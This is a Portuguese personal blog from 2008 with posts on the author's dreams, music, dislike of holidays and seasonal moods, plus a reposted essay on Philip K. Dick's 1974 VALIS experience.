Lets get the party started, ao som de Oceanic, do ISIS! Meu album favorito, de uma das minhas bandas favoritas :)

%END REM

Quinta-feira, 5 de Junho de 2008

Cara, kd meu carro ?

Noite, não sei que horas. Estou dirigindo, ouvindo Deicide no talo.

Passo por um lugar escuro, em algum lugar entre Guarulhos e Itaquaquecetuba (!?). Bloqueio da polícia. Eles me param, me pedem documentação. Um deles volta. Me pede para sair do carro. Insistem em dizer que minha carteira de motorista está irregular e confiscam também todos meus outros documentos, meu celular, meu dinheiro. Estou num lugar ermo, não sei o q fazer. Como num passe de mágica meu carro é rebocado e os policiais desaparecem, junto com tudo ao redor. Estou largado, sozinho, sem documentos, sem dinheiro e não sei onde estou. Começo a andar e vejo uma churrascaria, resolvo entrar para pedir ajuda, talvez contar minha história. Ao olhar ao redor vejo um rosto conhecido, alias vejo mais de um. Uma velha amiga, dá época do colégio, q não vejo há mais de 10 anos. Ela parece feliz com o pai dela, que reconheci e não mudou nada desde aquela época, assim como ela, que mudou muito pouco. Chego perto da mesa e sou reconhecido e convidado a sentar. O papo flui como se não tivesse havido o hiato. No final da conversa, me dou conta q ela já é mamãe, já tem uma família apesar de físicamente ter mudado muito pouco.

Acordo de repente, são 6 horas da manhã e tenho uma reunião bem cedo hoje, no primeiro horário. Antes de qualquer coisa vou ao orkut e pesquiso sobre a amiga q eu não lembrava há anos. Encontrei! Ela ainda existe, parece estar feliz, não parece ser casada, mas está com alguém. Mudou um pouco, mais que no sonho, mas não muito. Deixei um recado pra ela e adicionei. Talvez eu consiga contar o sonho que tive.

Minha carteira de motorista ainda está suspensa, acho q preciso resolver logo isso, mas de qq forma, mais que o aviso, mais uma vez fica a confirmação do nosso cérebro resgatar coisas q pareciam estar perdidas.

Queria ser menos preguiçoso com a escrita e documentar todos meus sonhos. Sonho toda noite, me lembro de quase todos ao acordar, mas eles se perdem em poucas horas. Sonhar é ótimo. Acordei com um bom humor fantástico, q há muito tempo não acontecia. Tlvz tenha sido o vinho, mas eu acho q foi meu cérebro e sua capacidade de resgatar essas coisas q ainda parecem ser aleatórias, mas um dia eu hei de descobrir a lógica da coisa :)

Segunda-feira, 12 de Maio de 2008

Achado não é roubado

Bem, estava ontem andando pela rua, viajando quando tropecei em algo. Estava com o som alto, ouvindo Altar of Madness do Morbid Angel, no talo. Após isso, olhei para o chão e havia um livro. "Thought Power", de Sri Swami Sivananda.

Comecei a ler e pensei ser um livro de Yoga ou algo assim, um livro de mantras.

Acho q tem até algumas coisas interessantes,mas a cada 5 páginas eu dou uma cochilada. O bom q esse livro tá me fazendo pensar de maneira indireta.Eu acho mto bacana essas coisas que te fazem pensar de maneira direta.

Eu detesto auto ajuda e detesto coisas direcionadas. Sabe aquelas músicas ou aqueles livros q são feitos sobre demanda, para atingir determinado público ? Sabe aquelas igrejas que pregam mensagens específicas que atingirão exatamente aquela camada da população que tem problemas comuns entre si, como desemprego, família super populosa, envolvimento com criminalidade e/ou drogas ?

Então, isso tudo é coisa q eu abomino. Mas é bom ser bombardeado com essas coisas para poder pensar a respeito. Penso que as coisas ruins, experiências ruins ensinam mto mais que as boas. Isso serve também para as coisas que vc não gosta ou abomina. É bom ter de vez enquando contato com aquela pessoa que tem um jeito q vc detesta, conversar com gente mesquinha e materialista, ouvir um pastor falando merda, ouvir uma música ruim ou ler alguma coisa que está na moda, como essas porcarias de auto ajuda e frases prontas. É como uma vacina que é criada a partir do vírus ou do veneno. Vc. fica imune e começa a pensar pq essas coisas são ruins, pq vc não gosta e quão bom é p vc o fato de vc viver alheio a tudo isso. Pensamentos do tipo "Nossa, ainda bem q não sou como fulando de tal, eu seria mto chato e teria uma responsabilidade enorme de abdicar da minha vida para viver em função dos outros, viver pensando não no q eu quero ou gosto, mas pensando no q os outros vão dizer à respeito".

Ah, como é bom o mundo onde eu posso ser somente eu :)

Vou terminar o livro e vou prestar bastante atenção nas entrelinhas e tirar proveito dos espaços, das linhas vazias, do inverso, nas coisas q não são vistas, nem percebidas. Vai ser como tirar um molde inverso. Ao invés das letras pretas preencher o papel branco, um preenchimento negro fará com que somente as letras não sejam preenchidas. Dessa maneira, há mto mais espaço para ser preenchido , mto masi coisas a se fazer, enfim um negativo do senso comum.

Nossa, viajei!!!!!

Mas vcs já estão acostumados e eu adoro isso :)

while (true)
World.Random();

:) :) :)

Ouvindo INRI by Sarcófago o melhor disco com bateria horrível da história (Nossa, escrevi isso e acabou de me dar um deja vu. Acho q já escrevi isso antes ... q medo ... hahha )

Por que odeio datas especiais ?

Odeio, odeio mto as datas ditas como 'especiais'.

Aniversários, dia dos Pais, dia das Mães, Natal, Ano Novo!

Não me entendam mal, é bom curtir um feriado no país dos feriados, mas como odeio essas datas comemorativas.

É estranho, quando fazemos aniversário, pessoas que vc mal conhece vêm te parabenizar como se fossem amigos íntimos. Não sei o motivo, mas no meu aniversário sempre me escondi, sempre fiquei esperando acabar logo. A mesma coisa com o Natal.

Dia das Mães é horrível. Há obrigação de fazer uma série de coisas que não é comum. Flores, presentes, agrados. Eu amo minha mãe, eu amo minha família. Mas isso é demonstrado todos os dias. Amor não é abdicar de vc e das suas coisas em prol de outra pessoa. Amor não é abrir mão de vc mesmo. Isso parece até meio egoísta, mas não é. Amar é amar as pessoas e amar vc mesmo acima de todas as coisas. Não sei como fazer isso, sempre penso primeiro no outro, na pessoa a qual é alvo do meu amor, mas essas datas, essas comemorações, são um saco.

Novamente, o papo das entrelinhas. Não gosto de nada que seja feito por obrigação, nada que seja feito simplesmente por fazer. Quando começou o dia das mães, e o dia dos pais, e a merda do natal e o papai noel ? E aniversário, qdo começou a ser comemorado ? Esse ano, meu aniversário eu sumi. Fui p Floripa, recebi os parabéns por telefone e só. Sem obrigação de ir a uma festa, sem obrigação de fazer sala ou de ter q conversar com pessoas que não quero. Ano passado arrumei trabalho para ocupar minha cabeça o dia todo.

Quem me conhece deve achar estranho eu, um cara tido por mta gente como boa praça, q faz amizade fácil, sociável e que nunca está sozinho. Quando não há obrigação, tudo flui mais fácil. Adoro o acaso, adoro segundas-feiras comuns que se tornam especiais. Adoro um dia comum quando podemos tirar uma folga e fazer coisas que normalmente não fazemos. Adoro o acaso, adoro as coisas que aparecem de repente.

Tem algo melhor q ir no mercado e re-encontrar uma pessoa legal q vc não vê há mto tempo ?

Ou um amigo de longa data q vc perde contato e do nada entra novamente na sua vida, como se o tempo não tivesse causado um hiato ?

Foda-se Natal, foda-se ano novo, foda-se dia das mães, dos pais e qq outra merda.

Não preciso de data especial para demonstrar nada!

O mundo é uma merda e ainda bem q eu tenho um só p mim :)

Segunda-feira, 14 de Abril de 2008

Na contramão

Tava pensando hj com meus botões, ao som de To Live is to die, do Metallica.

É muito fácil uma pessoa como eu ficar deprê, não ?

Pelo menos, o legal p mim eh q as deprês comigo são raras. Tipo umas 4, 5 por ano ...

Mas eu acho divertido isso tudo, apesar de algumas coisas serem propensas ao mal estar e aos pensamentos do tipo "Qual meu lugar no mundo ?"

Peguemos o exemplo de hoje.

Antes de começar a To Live is to die, estava tocando Pagan Fears, do Mayhem. Sou a única pessoa q conheço q adora essa música e esse disco, mesmo tendo no meu círculo de amizades amigos q gostam de black metal. Mas ao mesmo tempo, os outros plays q eles gostam eu detesto :) Pior q nem é a arte do ser do contra, como mtas pessoas são por aí, pessoas esperam alguma opnião ou pesquisam sobre o q as pessoas gostam só para ficar do lado errado. No meu caso, é natural.

Após essa reflexão, começou o som do Metallica, do And Justice, q é meu play favorito deles.Junto com a música pude ouvir um grupo de carteiros ao meu redor, metendo o pau em uma pessoa q parecia ser o chefe deles. Fiquei pensando na coisa q eu sempre digo "Para conhecer realmente uma pessoa, dê poder a ela". O tipo ao qual eles falavam me pareceu muito, muito familiar. Sabe aquele tipo de pessoa q num pode ter nada q já começa a se achar ? Mas digo se achar com coisas bem simples, coisas desde ser pé num jogo de truco, calçar 1 número a mais que vc, ser 1 cm mais alto, usar um óculos 10 reais mais caro q o seu ou possuir um carro 6 meses mais novo. Esse tipo de coisa que eu abomino. Lembro de um amigo, numa mesa de breja, quando eu contava minha viagem p pela Patagônia, uma hora disse que comi um bife de umas 500g e ele prontamente disse "ah, qdo eu fui p lá comi um de 600g", ou qdo disse q passei 14 horas no buzão c a mesma paisagem e ele "ah, eu passeu 30, qdo fui pra lá". Como fico puto c essas coisas.

Mas bem, voltando ao assunto de ser do contra.

Eu fui a única pessoa a descer na estação que eu parei e uma multidão se esmagava a entrar. Escada de entrada lotada e saída vazia. Mais uma vez, o do contra. Eu moro onde as pessoas trabalham e hoje fui trabalhar onde as pessoas moram. Fui para o trabalho no sentido contrário e voltei no sentido contrário.


Como todos sabem, sou uma pessoa orientada a pessoas. Poucas vezes deixo transparecer que sou uma pessoa exótica e diferente, por mais que as pessoas sempre percebem :) Tento ser um camaleão, que se adapta ao ambiente, sem perder minha personalidade. Já fui em micareta, já dancei em balada dance, já fui em pagode, formatura chata, casamento. Todas essas coisas que eu jamais faria sozinho. Não são coisas q eu paro e penso 'putz, q vontade de ir numa balada' mas se alguém gente boa me chamar eu vou. Isso é bacana que me faz ser bastante sociável, apesar de ter um típico perfil de nerd anti-social. Ninguém entende das coisas q eu curto.

Muitas pessoas dizem, ah, vc. conhece mta gente da comunidade linux. Sim, conheço, mas são pessoas que apenas completam um lado. Conversamos sobre linux, eh legal, mas para por aí. Não há mais muita coisa a ser compartilhada. Tenho alguns amigos de som, mas aí a coisa tb.a coisa varia. Tem os caras do black metal, que por ser um estilo tão vasto há somente algumas bandas incomum. Acontece o mesmo com os outros estilos que gosto, como Thrash, Death, Stoner, Jazz, Prog.

Porra, curto tudo isso ? Sim, mas é pouca coisa de cada estilo, não sei explicar.

Passando por isso, tem a galera dos filmes ..PQP, os filmes. Ando meio sem saco p filme cabeça há alguns meses. Alias, acho q ando meio preguiçoso para filosofar. Ando vendo filme leve, como uma comédiazinha, uma ação testosterona ou algo assim. Acho que estou no pico negativo do meu ciclo de filmes filosóficos. Hoje em dia, as coisas que me passam na cabeça, aparecem de maneira randômica.Consegui a proeza de ficar viajando vendo RAMBO! uhauhauhauh

Imagina uma dessas pessoas cult, adoradoras de cinema Iraniano e modernismo Búlgaro conversando sobre o Rambo ou outras coisas q ando vendo como a série "The Angry Nintendo Nerd".

As pessoas têm tantos rótulos que me deixam até enjoado.

Tem os nerds que têm obrigação de adorar certas coisas q eu detesto e odiar coisas q eu curto mto. Sou um nerdão, mas sou bastante sociável. Acho q há bastante coisa q podemos aproveitar das pessoas comuns, mesmo q sirva como exemplo para vc ter certeza de coisas abomina, como torrins de short na balada. As músicas q eu curto, me fazem trafegar por áreas que dificilmente vc. vai encontrar pessoas que andam tranquilamente por diferentes grupos, a mesma coisa com os filmes.

E isso que ainda nem falei dos livros. Num sei se minha cabeça funciona de um jeito diferente, mas eu num vejo nada onde as pessoas piram e piro onde não vêem nada. Todos sabem da minha ligação com PKD, autor que rola uma identificação tão grande que até fico me imaginando nas histórias dele, caminhand pelos lugares que ele descreve. Tudo rola uma identidade. Mas várias pessoas já leram seus livros e não vi ninguém c essa identificação que eu sinto. Amigos q já me disseram "Caralho ez, faz sentido isso q vc. diz, mas pq eu não senti isso qdo li ?"

Baseado em tudo isso, às vezes acho que minha vida seria completamente diferente se houvesse uma pessoa igual a mim, pelo menos alguma pessoa que eu conhecesse e fosse capaz de conversar no dia a dia. Acho q ou rolaria uma identidade fantástica ou eu ia achá-la tão chata, tão chata que iria mudar radicalmente. Sei lá. Morar sozinho faz com que nossa personalidade cresça de maneira exponencial. Não há pessoas para interromper uma linha de raciocínio, dar pedradas em alguma besteira que dizemos ou nos mostrar um ponto de vista antes q comecemos a procurá-lo sozinho, fazendo com que uma grande idéia ( idiota ou não, digo grande no sentido de complexidade ) morra antes mesmo de tomar vida, tomar corpo.

Algumas pessoas ficariam deprimidias vivendo num mundo assim, sendo um preto no branco, andando na contramão do resto do mundo. Sim às vezes é deprê, me sinto deprê, fico deprê, mas no final das contas é bem legal. Nada recompensa o prazer de ter uma pessoa verdadeiramente interessada em ouvir suas idéias, discutí-la, melhorá-la, passar um novo ponto de vista. É como a cultura do software livre, só que relacionado a idéias. Pena que da mesma maneira que não são muitas as pessoas capacitadas para pegar um bom software e melhorá-lo, há poucas pessoas capazes sequer de compreender uma idéia a ponto de identificar como boa ou ruim ou um ponto de vista que realmente possa nos fazer pensar. O mundo está cheio de pessoas medíocres. O mundo do lado de cá, as vezes é solitário, mas é muito bom.

Domingo, 6 de Abril de 2008

Nos Confins do cérebro

Acordei hoje, meio deprê, meio mau humorado com uma incrível sensação nostalgica emanando sobre mim.
Não sei por qual motivo passei o dia lembrando de coisas que eu fazia há uns 2, 3 anos atrás, meu antigo apartamento, meus antigos hábitos, as pessoas que faziam parte da minha vida e como não podia passar batido, meu tempo do namoro mais longo da minha vida.

Quando terminei o namoro em definitivo, mais de 2 anos atrás, passei uma fase meio reflexiva, pensando se tinha tomando a decisão certa. A fase passou, minha vida mudou p ara melhor e nunca mais tive essa sensação, essa deprê. Nunca mais até hoje.

É muito fácil, com um mínimo conhecimento do chamdo 'Google Hacking ' encontrar informações sobre pessoas. Sem saber o motivo, fui vasculhar, pesquisar e passei todo o dia focado nisso, apesar de ter tido um ótimo dia e um ótimo domingo de almoço em família.

Agora há pouco, encontrei algumas informações que me levaram a algo q fez minha deprê passar de repente, como em um estalo: Hoje é o aniversário dela!!!

Quando vi isso, um alívio instantâneo tomou conta de mim. Mandei um email parabenizando ( nãos nos falamos há mais de 1 ano)e duvido q ela vá responder.

Mas em todo caso, essa não é a questão. A questão é, eu já tinha esquecido disso, não pensava nela há um tempão ...

Pq meu cérebro fez questão de me lembrar, trazendo de volta essas sensações que eu não sentia há mto, mto tempo ? Justo hj, no aniversário que eu nem lembrava ?

Todos os anos, os meses de abril são sempre meses diferentes de todos, não sei dizer o motivo.

Geralmente em abril minha saúde requer cuidados, eu vivo uma fase mais reflexiva,sempre, sempre. Anos e anos em sequência. Eu tinha esquecido dessa parada toda de Abril.

Estou aqui em casa, de molho, com o dedo mindinho do pé esquerdo quebrado e imobilizado. Tive uma deprê que durou quase um dia todo, uma estranha crise nostalgica que passou instantaneamente após a descoberta de uma informação que eu sequer lembrava.

Em que mês estamos ? Sim, hoje é 6 de abril.

Esse ciclos são estranhos. Outro exemplo ? Todos meus namoros começaram em novembro.
Geralmente em novembro eu conheço pessoas, pessoas que trazem algo de importante para a minha vida, pessoas que direta ou indiretamente mudam alguma coisa. Se em novembro eu não começo a namorar ou estou namorando, é quando minha vida sexual ganha um boost gigantesco. Não sei o que acontece.

Não parei para pensar em outros ciclos na minha vida. Na verdade não sei se existem outros, mas esses 2 meses são especiais para mim.


Não acredito em nada cósmico ou algo assim.

Acredito que nosso cérebro é capaz de criar coisas e situações sem q nossa consciência seja ativada para tal.
Acredito que ele foi capaz de guardar a data do aniversário da minha ex, bem longe da minha consciência, para lembrá-la de maneira indireta, iniciando o processo de deprê e nostalgia q não sentia há muito tempo.
Quanto a minha instabilidade física e até mental, tem como propulsora a mudança de clima no mês de abril o que faz com que acarrete em uma adaptação que o corpo acaba sofrendo e o reflexo dos exageros do fim de ano, carnaval, choque do retorno ao trabalho e os projetos que saem do papel depois do carnaval.

Quanto ao ponto máximo, em novembro, acredito que ocorre o inverso. Começa a ficar quente, o fim do ano se aproxima, os projetos estão encaminhados, dias mais longos. Acho que tudo isso contribui para um bem estar, que acaba refletindo na vida pessoal, fazendo com q eu fique mais amigável, mais saudável.

Acho q está na hora de mudar para um outro país, um outro hemisfério, onde as estações são diferentes e ver o que acontece com esses meus ciclos.


Não deixa de ser interessante e acho que é mto bom conhecer isso, já q faz com que eu saiba lidar e identificar o que acontece comigo.

H. Parabéns p vc!

Domingo, 30 de Março de 2008

Sonho Retartado

Bem, todos sabem q desde pequeno acompanho NBA e curto basquete mto mais q futebol não ?

Além disso, é de conhecimento geral que eu sonho quase toda a noite, quase sempre eu me lembro e geralmente são sonhos bizarros, certo ?

Não vou falar do meu time, q é meu time desde q me entendo por gente, o NY Knicks, q tá uma draga só esse ano (assunto para um outro post qq e no lugar certo, www.nykfanpage.com)

O alemão Dirk Nowitzki, é o atual MVP da liga




que além de além de ser um péssimo jogador defensivo , é melhor arremessador 'seven-footer' já visto



é um cachaceiro de primeira



Nunca vi nada demais nele, acho ele 'soft' e a única coisa que sou obrigado a concordar é o seu arremesso, q realmente é fantástico, para um cara q joga na posição 4.

Bem, no meu sonho, alguém bate a minha porta dizendo q o Dirk tinha morrido e que o enterro seria em Poá. Eu estava ocupado demais para comparecer e ninguém soube me dizer como o cara tinha morrido. Pesquisando na net eu descobri q ele tinha morrido num circo ( eu odeio circo! ) durante uma apresentação de homem-bala. Algo deu errado , o tiro de canhão foi torto e ele caiu fora da rede, se esborrachando no chão.


uhauhauhauha


Só tive tempo de visitar o seu túmulo, em Poá, perto da casa dos meus pais, num lugar onde hj tem um terreno baldio.

uahuauhauhah

Sonho mais comédia q esse só aquele q tive q o Sepultura ia fazer um show, na época áurea do Arise (92,93), em uma fábrica de colchão e como o Max tava rouco para cantar, eles foram lá em casa me chamar e pedir p minha mãe me liberar ( sim, eu tinha uns 13 anos nessa época! uhahuhau).

bizarro!!!

mas divertido :D

Tipos de psicólogo

Para quem faz terapia e talz :D

Sábado, 29 de Março de 2008

O Apocalipse de VALIS

Uma bela tradução e análise, tirada de http://malprg.blogs.com/francoatirador/2004/03/o_apocalipse_de.html

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O Apocalipse de VALIS

No início de 1974, Philip K. Dick era apenas um escritor original, admirado por seus pares graças a sua inventividade, que tinha conquistado uma legião de fãs ao mesmo tempo em que continuava desconhecido do grande público, e que somente aos poucos começava a levar uma vida razoavelmente confortável, depois de décadas de vacas magras quando, reza a lenda, houve uma época em que ele e a esposa de então (foram cinco no total) tinham que se esforçar para convencer o vendedor de que a comida de cachorro que estavam comprando não era para eles mesmos (outra versão da lenda assegura que era).

Em fevereiro e março daquele ano, contudo, uma série de acontecimentos momentosos virou a vida de Dick de pernas para o ar e seu significado ainda divide seus biógrafos, críticos, amigos e colegas. Alguns acreditam que ele teve uma experiência religiosa genuína, que não desistiu de tentar interpretar pelo resto de seus dias (os cadernos de anotações sobre o evento, batizados pelo próprio PKDick de Exegesis, somam mais de 8000 páginas e nunca foram publicados na íntegra).

Outros garantem que ele simplesmente enlouqueceu.

Dick mesmo chegou a considerar essa possibilidade e, na verdade, quase qualquer teoria concebível para explicar o que ficou conhecido como o Apocalipse de VALIS. Nas páginas da Exegesis, em conversas com amigos ou nas entrevistas que concedeu durante aquele período, Dick ia formando uma pilha de hipóteses e passava de uma para outra, sem jamais chegar a uma conclusão definitiva. Sugeriu que tivesse experimentado um êxtase místico e que tivesse sido contactado por uma inteligência artificial alienígena; que tivesse sido possuído pelo espírito do profeta Elias ou dominado pelos arquétipos do inconsciente coletivo; que tivesse passado por um surto psicótico; que tivesse atingido a iluminação. Que tivesse morrido e ressuscitado.

A terminologia gnóstica misturava-se ao jargão psiquiátrico e ao vocabulário da ficção científica, num esforço conjunto para tornar inteligível algo que desafiava a inteligibilidade e descrever o que ultrapassava a capacidade de descrição. Dick era capaz de invocar na mesma sentença o Dionísio de Nietzsche, Krishna, o pleroma gnóstico, o Livro dos Mortos Tibetano e o hemisfério direito do cérebro, num sincretismo onde todas as mitologias e religiões se fundiam com a ciência e que deixava seus interlocutores atordoados com a velocidade com que era capaz de mudar o quadro de referência. E não obstante, ao morrer, no dia 02 de março de 1982, vítima de lesões pancreáticas agudas, continuava tão sem respostas quanto no princípio.

Qualquer que seja a explicação, é o episódio mais estranho de uma biografia repleta de episódios estranhos, e provavelmente o acontecimento mais bizarro de toda a história da ficção científica. Foi a inspiração direta dos quatro últimos romances de Dick - Valis, A Invasão Divina e A Transmigração de Timothy Archer (que formam a chamada Trilogia de Valis), mais Radio Free Albemuth, escrito antes mas só publicado postumamente -, além de um livro-homenagem de Michael Bishop, Philip K. Dick is Dead, Alas!, e de uma história em quadrinhos de Robert Crumb, A Experiência Religiosa de Philip K. Dick.

Em Radio Free Albemuth e Valis, Dick aparece em carne e osso como um dos personagens da história - no primeiro, o Dick de uma realidade alternativa, onde Nixon nunca foi derrubado pelo caso Watergate, e no segundo, em um retrato autobiográfico impiedosamente honesto, que chega às raias da crueldade. Os críticos, é claro, logo se puseram a elogiar a pós-modernidade desse recurso, que tornava nebulosa a separação entre ficção e realidade. A verdade é que, se essa distinção nunca havia sido muito clara para Dick, ela ruiu de vez com o Apocalipse de VALIS. De repente, era como se ele tivesse se tornado um personagem de suas próprias histórias: "Meu Deus", escreveu ele em 1978, "minha vida - quer dizer, minha experiência de 02/74-03/74 - é exatamente como o plot de qualquer um de minhas dezenas de romances e contos. Até mesmo as memórias falsas & identidade. Eu sou o protagonista de um dos livros de PKD, saem os EUA de 1974, entra a Roma antiga & com ela, a personalidade de Tomás & as verdadeiras memórias. Cristo! Uma mistura de 'Impostor', 'Joint' & 'Maze' - se não for também de 'Ubik'."

E tudo começou com um simples dente do siso.

O Império nunca acabou. - Era uma tarde de fevereiro de 1974 e Dick estava na sala de sua casa, sofrendo as agonias de uma excruciante dor na boca. Naquela manhã, ele havia feito uma cirurgia para extrair o dente do siso. Ainda sentia os efeitos residuais da injeção de pentotal que recebera à guisa de anestesia, mas a dor havia voltado com tudo. Ele pegou o telefone e encomendou anestésicos para a farmácia. Minutos depois, sua encomenda era entregue por uma garota de cabelos negros que era quase uma encarnação da dark haired girl que obsedava os livros de Dick com uma presença constante, uma figura da anima inspirada numa idealização de sua falecida irmã gêmea, Jane. Mas não foi a beleza da moça que capturou o olhar de Dick, e sim a corrente que ela usava no pescoço, com um pingente em forma de peixe estilizado que era o símbolo dos primitivos cristãos. A luz do Sol fazia com que o pingente emitisse centelhas douradas, que ofuscaram Dick e serviram como gatilho para que ele entrasse em um estado alterado de consciência. Dick viu-se atingido por um raio de luz cor-de-rosa e pôs-se a alucinar intensamente.
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"Uma idéia incômoda" - escreveu Elias Canetti em Massa e Poder - "que, além de um certo ponto determinado do tempo, a história não foi mais real. Sem se dar conta disso, a totalidade do gênero humano repentinamente teria deixado a realidade. Tudo o que seria passado desde então não seria mais absolutamente verdade, mas nós não poderíamos nos dar conta disso. Nossa tarefa e nosso dever no presente seriam descobrir esse ponto e, enquanto não o tivéssemos, seria-nos preciso perseverar na destruição atual." Essas palavras, embora escritas a respeito de outra coisa completamente diferente, são um bom resumo da visão de Dick - a primeira de muitas que se seguiriam nos dois meses seguintes.

A impressão de Dick foi de que o tempo real havia se imobilizado por volta do ano 50 d.C. e de que a história transcorrida depois disso seria uma sucessão de acontecimentos ilusórios passados no interior de um falso tempo. De acordo com essa sensação, a mente de Dick viu-se invadida por imagens dos primeiros tempos da era cristã. Como ele escreveu acima, a Los Angeles de 1974 deu lugar à Roma antiga e ele viu a si mesmo como um cristão chamado Tomás, que estava preso, à espera de ser garroteado pelas autoridades romanas. Nem sequer seus pensamentos eram mais em inglês, mas em uma mistura de latim e uma forma de grego que ele desconhecia completamente, mas que sua atual esposa, Tessa, uma estudante de línguas, depois reconheceu como koiné, o dialeto usado pelos primitivos cristãos na época de Paulo.

Desde esse dia, Dick passou a sentir a presença de Tomás o tempo todo dentro de sua cabeça. Algumas vezes, como o personagem de "The Shadow Out of Time", de Lovecraft, Dick e Tomás trocavam de lugar. Dick via-se transportado para os primórdios do cristianismo, enquanto seu corpo era ocupado por um homem que acreditava-se perseguido pelas autoridades por ser cristão e para o qual o mundo moderno era absolutamente incompreensível. Vista pelos olhos de Tomás, a civilização contemporânea revelava-se como uma conspiração dos mesmos agentes do mal que, no passado, haviam insuflado os romanos contra os seguidores de Cristo. Dick resume essa impressão com uma frase que é repetida ao longo de Valis como um leitmotiv: "O Império nunca acabou."

Nem sempre, porém, ele identificava seu alter ego como Tomás. Vez por outra, referia-se a ele como uma entidade espiritual que Dick chamava de Firebright, e outras como sendo ninguém menos que Simão, o Mago, um dos primeiros líderes gnósticos, mencionado nos Atos dos Apóstolos por ter batido de frente com o apóstolo Pedro. De fato, o conteúdo gnóstico das visões de Dick é bastante evidente e ele próprio foi o primeiro a ressaltar esse ponto. Como os gnósticos, Dick identificava a gnose à anamnese platônica, mas interpretava-o em um contexto mais familiar a um escritor de ficção científica: "O signo do peixe (dourado) leva você a se lembrar. Lembrar o quê? Isto é Gnóstico. Suas origens celestiais; isso tem a ver com o DNA, porque a memória está localizada no DNA (memória filogenética). Memórias muito antigas, predando esta vida, são deflagradas. [...] Você se lembra de sua real natureza. O que quer dizer origem (das estrelas). Die Zeit is da! A Gnose Gnóstica: Você está aqui neste mundo na condição de alguém que foi jogado, mas você não é deste mundo."

Ao explicar suas visões como memórias filogenéticas gravadas no DNA, Dick provavelmente estava se referindo à teoria junguiana dos arquétipos. Explicar os arquétipos como estruturas transmitidas dos antepassados por meio da hereditariedade foi a primeira hipótese proposta por Jung ao descobrir o inconsciente coletivo, uma opinião que ainda hoje tem seus defensores. Essa hipótese, no entanto, esbarra no fato de que, até onde a biologia conseguiu determinar, não existe nenhuma memória genética, e Jung mesmo acabou abrindo mão de uma explicação biológica para os arquétipos.

Uma perturbação no campo da realidade. - Memórias gravadas no DNA ou não, as visões e sonhos de Dick durante esse período estavam repletas de imagens arquetípicas, que de modo algum se restringiam a símbolos cristãos. Por exemplo, ele sonhava constantemente com dragões, que ele descrevia como "monstros voadores com pescoço de cavalo", que desciam do céu para agarrar Dick que, nos sonhos, era um menino vivendo em uma tribo pré-histórica. "Uma noite", conta a mulher de Dick, "eu acordei com o som de um enorme réptil silvando. Sentei e vi Phil deitado ali, ainda dormindo, sibilando. Com medo de tocá-lo, chamei-o pelo nome. Eu estava com medo e ficava mais assustada a cada segundo que passava. Sentia que não era Phil que estava silvando, mas algum animal sem mente que havia tomado seu corpo." Depois de algum tempo, continua Tessa, Dick parou de sibilar. "Ele chorou um pouco e começou a rezar em latim, Libera me Domine." Então, mergulhou em um sono profundo. Tessa, compreensivelmente, não conseguiu mais pregar o olho.

O dramático clímax dessas experiências veio na noite de 02 de março de 1974. Dick estava se virando na cama com um ataque de insônia que já durava cinco dias. Meus Vinte Fiéis Leitores, que aterrisaram aqui vindos do http://atirador.zip.net, certamente vão se lembrar de que, para alcançar a imortalidade, Gilgamesh foi obrigado a passar sete noites sem dormir (e falhou). Analisando essa passagem da Epopéia de Gilgamesh, chegamos à conclusão de que ela provavelmente se relaciona à ativação dos chakras e, assim, não é de surpreender que o que aconteceu com Dick a seguir seja tão semelhante aos relatos antigos e modernos sobre o despertar involuntário da Kundalini:

Então, [...] subitamente comecei a ver luzes rodopiantes que se moviam para longe com tal velocidade - e eram instantaneamente substituídas - que me forçaram a acordar totalmente. Por quase oito, continuei a ver esses assustadores vórtices de luz, se é essa a palavra [...]. O mais doloroso era a rapidez dos meus pensamentos, que pareciam estar sincronizados com as luzes; era como se eu estivesse me movendo e as luzes estivessem paradas - eu me sentia como se estivesse correndo à velocidade da luz, não mais deitado ao lado da minha esposa em nossa cama. Minha ansiedade era inacreditável.

Uma semana depois, as luzes voltaram:

Desta vez eu vi pinturas abstratas modernas perfeitamente formadas, que depois identifiquei nos livros de arte como sendo do tipo que Kandinsky desenvolveu. Havia literalmente centenas de milhares delas; substituíam-se umas às outras a uma velocidade atordoante [...]. Reconheci os estilos de Paul Klee e um ou dois dos vários períodos de Picasso. [...] Assim, eu passei mais de oito horas desfrutando uma das mais belas, excitantes e comoventes visões que jamais tive, consciente de que era um milagre. [...] Eu não era o autor dessas figuras. Basta a quantidade delas para provar isso.

Dick tinha a nítida impressão de que essas imagens não eram figuras aleatórias, mas possuíam um sentido que lhe escapava. E é aqui que a porca começa a torcer o rabo, porque a primeira coisa que lhe ocorreu era de que estivesse sendo alvo de uma experiência psicológica soviética. Já eram os primeiros indícios do quadro paranóico que encerraria essa fase de sua vida com uma nota melancólica.

Antes de chegar a esse ponto, porém, os fenômenos não só continuaram como evoluíram. Aos poucos, os padrões geométricos abstratos foram dando lugar a figuras femininas de aspecto divino, que Dick sabia serem personificações de sua anima, e ele começou a ouvir uma voz em sua cabeça que se identificou (ou que Dick identificou, as diferentes versões que ele apresentou são contraditórias nesse ponto) como sendo de uma inteligência artificial em órbita da Terra. Chamou esse computador alienígena (ou o computador alienígena se apresentou como sendo, as diferentes versões etc.) de VALIS, acrônimo para Vast Active Living Intelligence System, ou Amplo Sistema Vivo de Inteligência, que em seu romance homônimo definiu nos seguintes termos: "Uma perturbação no campo da realidade em que um vórtice neguentrópico espontâneo e autofiscalizado se forma, tendendo progressivamente a suprassumir e incorporar o seu ambiente em arranjos de informação. Caracterizado por quase-consciência, objetividade, inteligência, crescimento e uma coerência armilar." O romance também aproveita uma série de sonhos nos quais a construção de VALIS era atribuída a uma espécie extraterrestre humanóide, dotada de três olhos nos quais não é difícil reconhecer o Terceiro Olho da ioga, reforçando ainda mais o elo entre o Apocalipse de VALIS e um despertar desastroso da Kundalini.

E então, a idéia paranóica de que os russos estavam fazendo experiências com a sua mente evoluiu para uma verdadeira mania de perseguição, quando Dick cismou que Frederic Jameson e Darko Suvin, dois críticos literários da revista Science Fiction Studies que estudavam sua obra sob a ótica marxista (pela qual, diga-se de passagem, Dick mostrava mais do que uma ligeira simpatia em tempos menos insanos), eram agentes da KGB enviados para cooptá-lo. Estava tão convencido disso que chegou a enviar uma série de cartas ao FBI denunciando a suposta conspiração. E esse foi o fim do episódio de VALIS. As visões e vozes foram se enfraquecendo até desaparecerem no mesmo ritmo com que a saúde física e mental de Dick ia se deteriorando até chegar o triste fim desse Policarpo Quaresma da ficção científica.

